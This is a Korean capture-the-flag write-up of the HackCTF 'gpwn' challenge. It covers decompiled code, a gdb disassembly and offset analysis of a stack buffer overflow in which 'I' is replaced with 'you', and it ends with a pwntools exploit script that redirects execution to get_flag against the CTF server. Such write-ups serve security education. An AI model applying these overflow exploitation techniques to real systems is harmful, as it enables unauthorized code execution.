[문제]
[풀이]
- 32bit 바이너리
- 카나리 없음
- NX bit 존재
- PIE 있음
바이너리 실행
- 사용자로부터 입력받음
IDA 분석 - main 함수
int __cdecl main(int argc, const char **argv, const char **envp)
{
vuln();
return 0;
}
- vuln 함수 호출
IDA 분석 - vuln 함수
int vuln()
{
const char *v0; // eax@1
char s; // [esp+1Ch] [ebp-3Ch]@1
char v3; // [esp+3Ch] [ebp-1Ch]@1
char v4; // [esp+40h] [ebp-18h]@1
char v5; // [esp+47h] [ebp-11h]@1
char v6; // [esp+48h] [ebp-10h]@1
char v7; // [esp+4Fh] [ebp-9h]@1
printf("Tell me something about yourself: ");
fgets(&s, 32, edata);
std::string::operator=(&input, &s);
std::allocator<char>::allocator(&v5);
std::string::string(&v4, "you", &v5);
std::allocator<char>::allocator(&v7);
std::string::string(&v6, "I", &v7);
replace((std::string *)&v3);
std::string::operator=(&input, &v3, &v6, &v4);
std::string::~string((std::string *)&v3);
std::string::~string((std::string *)&v6);
std::allocator<char>::~allocator(&v7);
std::string::~string((std::string *)&v4);
std::allocator<char>::~allocator(&v5);
v0 = (const char *)std::string::c_str((std::string *)&input);
strcpy(&s, v0);
return printf("So, %s\\n", &s);
}
- 사용자의 입력을 받아 출력
- I와 you 사이에서 replace 함수를 호출함
- 입력 값이 I면 you로 치환
- fgets 함수로 사용자의 입력을 32byte 만큼 받아 BOF 발생X
- 그러나 I가 you로 치환되는 점을 생각하면 BOF를 발생시킬 수 있음 → I만 12번 입력하면 you x 12으로 36 byte 입력되며 BOF를 발생시키지만 사용자는 추가로 10byte만큼 더 입력할 수 있음
IDA 분석 - replace 함수
std::string *__stdcall replace(std::string *a1, std::string *a2, std::string *a3)
{
int v4; // [esp+Ch] [ebp-4Ch]@0
char v5; // [esp+10h] [ebp-48h]@2
char v6; // [esp+14h] [ebp-44h]@2
char v7; // [esp+1Bh] [ebp-3Dh]@2
int v8; // [esp+1Ch] [ebp-3Ch]@2
char v9; // [esp+20h] [ebp-38h]@2
int v10; // [esp+24h] [ebp-34h]@2
int v11; // [esp+28h] [ebp-30h]@2
char v12; // [esp+2Fh] [ebp-29h]@2
int v13; // [esp+30h] [ebp-28h]@2
int v14; // [esp+34h] [ebp-24h]@2
char v15; // [esp+38h] [ebp-20h]@2
int v16; // [esp+3Ch] [ebp-1Ch]@2
char v17; // [esp+40h] [ebp-18h]@2
int v18; // [esp+44h] [ebp-14h]@2
char v19; // [esp+48h] [ebp-10h]@2
char v20; // [esp+4Ch] [ebp-Ch]@2
while ( std::string::find(a2, a3, 0) != -1 )
{
std::allocator<char>::allocator(&v7);
v8 = std::string::find(a2, a3, 0);
std::string::begin((std::string *)&v9);
__gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v10);
std::string::begin((std::string *)&v11);
std::string::string<__gnu_cxx::__normal_iterator<char *,std::string>>(&v6, v11, v10, &v7);
std::allocator<char>::~allocator(&v7);
std::allocator<char>::allocator(&v12);
std::string::end((std::string *)&v13);
v14 = std::string::length(a3);
v16 = std::string::find(a2, a3, 0);
std::string::begin((std::string *)&v17);
__gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v15);
__gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v18);
std::string::string<__gnu_cxx::__normal_iterator<char *,std::string>>(&v5, v18, v13, &v12);
std::allocator<char>::~allocator(&v12);
std::operator+<char,std::char_traits<char>,std::allocator<char>>((std::string *)&v20);
std::operator+<char,std::char_traits<char>,std::allocator<char>>((std::string *)&v19);
std::string::operator=(a2, &v19, &v5, v4);
std::string::~string((std::string *)&v19);
std::string::~string((std::string *)&v20);
std::string::~string((std::string *)&v5);
std::string::~string((std::string *)&v6);
}
std::string::string(a1, a2);
return a1;
}
IDA 분석 - get_flag 함수
int get_flag()
{
return system("cat flag.txt");
}
- flag 획득할 수 있음
gdb 분석 - 함수 주소
pwndbg> info func
All defined functions:
Non-debugging symbols:
0x08048e10 _start
0x08048e40 __x86.get_pc_thunk.bx
0x08048e50 deregister_tm_clones
0x08048e80 register_tm_clones
0x08048ec0 __do_global_dtors_aux
0x08048ee0 frame_dummy
0x08048f0d get_flag
0x08048f21 replace
0x080491af vuln
0x0804932d main
- main: 0x0804932d
- vuln offset: 0x080491af
- replace offset: 0x08048f21
- get_flag offset: 0x08048f0d
gdb 분석 - select_func 함수
pwndbg> disass vuln
Dump of assembler code for function vuln:
0x080491af <+0>: push ebp
0x080491b0 <+1>: mov ebp,esp
0x080491b2 <+3>: push ebx
0x080491b3 <+4>: sub esp,0x54
0x080491b6 <+7>: mov DWORD PTR [esp],0x8049800
0x080491bd <+14>: call 0x8048d20 <printf@plt>
0x080491c2 <+19>: mov eax,ds:0x804b0a4
0x080491c7 <+24>: mov DWORD PTR [esp+0x8],eax
0x080491cb <+28>: mov DWORD PTR [esp+0x4],0x20
0x080491d3 <+36>: lea eax,[ebp-0x3c]
0x080491d6 <+39>: mov DWORD PTR [esp],eax
0x080491d9 <+42>: call 0x8048c70 <fgets@plt>
0x080491de <+47>: lea eax,[ebp-0x3c]
0x080491e1 <+50>: mov DWORD PTR [esp+0x4],eax
0x080491e5 <+54>: mov DWORD PTR [esp],0x804b0ac
0x080491ec <+61>: call 0x8048bd0 <_ZNSsaSEPKc@plt>
0x080491f1 <+66>: lea eax,[ebp-0x11]
0x080491f4 <+69>: mov DWORD PTR [esp],eax
0x080491f7 <+72>: call 0x8048d90 <_ZNSaIcEC1Ev@plt>
0x080491fc <+77>: lea eax,[ebp-0x11]
0x080491ff <+80>: mov DWORD PTR [esp+0x8],eax
0x08049203 <+84>: mov DWORD PTR [esp+0x4],0x8049823
0x0804920b <+92>: lea eax,[ebp-0x18]
0x0804920e <+95>: mov DWORD PTR [esp],eax
0x08049211 <+98>: call 0x8048d00 <_ZNSsC1EPKcRKSaIcE@plt>
0x08049216 <+103>: lea eax,[ebp-0x9]
0x08049219 <+106>: mov DWORD PTR [esp],eax
0x0804921c <+109>: call 0x8048d90 <_ZNSaIcEC1Ev@plt>
0x08049221 <+114>: lea eax,[ebp-0x9]
0x08049224 <+117>: mov DWORD PTR [esp+0x8],eax
0x08049228 <+121>: mov DWORD PTR [esp+0x4],0x8049827
0x08049230 <+129>: lea eax,[ebp-0x10]
0x08049233 <+132>: mov DWORD PTR [esp],eax
0x08049236 <+135>: call 0x8048d00 <_ZNSsC1EPKcRKSaIcE@plt>
0x0804923b <+140>: lea eax,[ebp-0x1c]
0x0804923e <+143>: lea edx,[ebp-0x18]
0x08049241 <+146>: mov DWORD PTR [esp+0xc],edx
0x08049245 <+150>: lea edx,[ebp-0x10]
0x08049248 <+153>: mov DWORD PTR [esp+0x8],edx
0x0804924c <+157>: mov DWORD PTR [esp+0x4],0x804b0ac
0x08049254 <+165>: mov DWORD PTR [esp],eax
0x08049257 <+168>: call 0x8048f21 <replace>
0x0804925c <+173>: sub esp,0x4
0x0804925f <+176>: lea eax,[ebp-0x1c]
0x08049262 <+179>: mov DWORD PTR [esp+0x4],eax
0x08049266 <+183>: mov DWORD PTR [esp],0x804b0ac
0x0804926d <+190>: call 0x8048df0 <_ZNSsaSERKSs@plt>
0x08049272 <+195>: lea eax,[ebp-0x1c]
0x08049275 <+198>: mov DWORD PTR [esp],eax
0x08049278 <+201>: call 0x8048cd0 <_ZNSsD1Ev@plt>
0x0804927d <+206>: lea eax,[ebp-0x10]
0x08049280 <+209>: mov DWORD PTR [esp],eax
0x08049283 <+212>: call 0x8048cd0 <_ZNSsD1Ev@plt>
0x08049288 <+217>: lea eax,[ebp-0x9]
0x0804928b <+220>: mov DWORD PTR [esp],eax
0x0804928e <+223>: call 0x8048d40 <_ZNSaIcED1Ev@plt>
0x08049293 <+228>: lea eax,[ebp-0x18]
0x08049296 <+231>: mov DWORD PTR [esp],eax
0x08049299 <+234>: call 0x8048cd0 <_ZNSsD1Ev@plt>
0x0804929e <+239>: lea eax,[ebp-0x11]
0x080492a1 <+242>: mov DWORD PTR [esp],eax
0x080492a4 <+245>: call 0x8048d40 <_ZNSaIcED1Ev@plt>
0x080492a9 <+250>: mov DWORD PTR [esp],0x804b0ac
0x080492b0 <+257>: call 0x8048c10 <_ZNKSs5c_strEv@plt>
0x080492b5 <+262>: mov DWORD PTR [esp+0x4],eax
0x080492b9 <+266>: lea eax,[ebp-0x3c]
0x080492bc <+269>: mov DWORD PTR [esp],eax
0x080492bf <+272>: call 0x8048d10 <strcpy@plt>
0x080492c4 <+277>: lea eax,[ebp-0x3c]
0x080492c7 <+280>: mov DWORD PTR [esp+0x4],eax
0x080492cb <+284>: mov DWORD PTR [esp],0x8049829
0x080492d2 <+291>: call 0x8048d20 <printf@plt>
0x080492d7 <+296>: jmp 0x8049328 <vuln+377>
0x080492d9 <+298>: mov ebx,eax
0x080492db <+300>: lea eax,[ebp-0x1c]
0x080492de <+303>: mov DWORD PTR [esp],eax
0x080492e1 <+306>: call 0x8048cd0 <_ZNSsD1Ev@plt>
0x080492e6 <+311>: jmp 0x80492ea <vuln+315>
0x080492e8 <+313>: mov ebx,eax
0x080492ea <+315>: lea eax,[ebp-0x10]
0x080492ed <+318>: mov DWORD PTR [esp],eax
0x080492f0 <+321>: call 0x8048cd0 <_ZNSsD1Ev@plt>
0x080492f5 <+326>: jmp 0x80492f9 <vuln+330>
0x080492f7 <+328>: mov ebx,eax
0x080492f9 <+330>: lea eax,[ebp-0x9]
0x080492fc <+333>: mov DWORD PTR [esp],eax
0x080492ff <+336>: call 0x8048d40 <_ZNSaIcED1Ev@plt>
0x08049304 <+341>: lea eax,[ebp-0x18]
0x08049307 <+344>: mov DWORD PTR [esp],eax
0x0804930a <+347>: call 0x8048cd0 <_ZNSsD1Ev@plt>
0x0804930f <+352>: jmp 0x8049313 <vuln+356>
0x08049311 <+354>: mov ebx,eax
0x08049313 <+356>: lea eax,[ebp-0x11]
0x08049316 <+359>: mov DWORD PTR [esp],eax
0x08049319 <+362>: call 0x8048d40 <_ZNSaIcED1Ev@plt>
0x0804931e <+367>: mov eax,ebx
0x08049320 <+369>: mov DWORD PTR [esp],eax
0x08049323 <+372>: call 0x8048dd0 <_Unwind_Resume@plt>
0x08049328 <+377>: mov ebx,DWORD PTR [ebp-0x4]
0x0804932b <+380>: leave
0x0804932c <+381>: ret
End of assembler dump.
- vuln+42 부분에서 사용자의 입력을 받음
- vuln+42에 bp 걸어 임의의 입력 값 입력
- 사용자의 입력은 0xffffd00c에 저장
- 0xffffd04c에서 main+11 발견
- 사용자의 입력~0xffffd04c까지의 offset = 64(0x40)
문제 해결
💡 dummy(64) + get_flag_Address
- I * 20 → you * 20 → 60byte입력/추가 4byte만큼 dummy 입력
I(20byte) + dummy(4byte) + get_flag(4byte)
Python2
from pwn import *
p = remote("ctf.j0n9hyun.xyz",3011)
e = ELF("./gpwn")
get_flag = e.symbols['get_flag']
payload = "I" *20
payload += "A" *4
payload += p32(get_flag)
#p.recvuntil(": ") 문자열 받는 데에 시간이 걸려서 주석처리 해줘야함
p.sendline(payload)
p.interactive()
flag
🍒 HackCTF{It's_e4si3r_th4n_y0u_th1nk!}
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] Yes or no (0) | 2022.10.30 |
---|---|
[HackCTF] RTL_World (0) | 2022.10.30 |
[HackCTF] Poet (0) | 2022.10.30 |
[HackCTF] 1996 (0) | 2022.10.30 |
[HackCTF] Random key (0) | 2022.10.30 |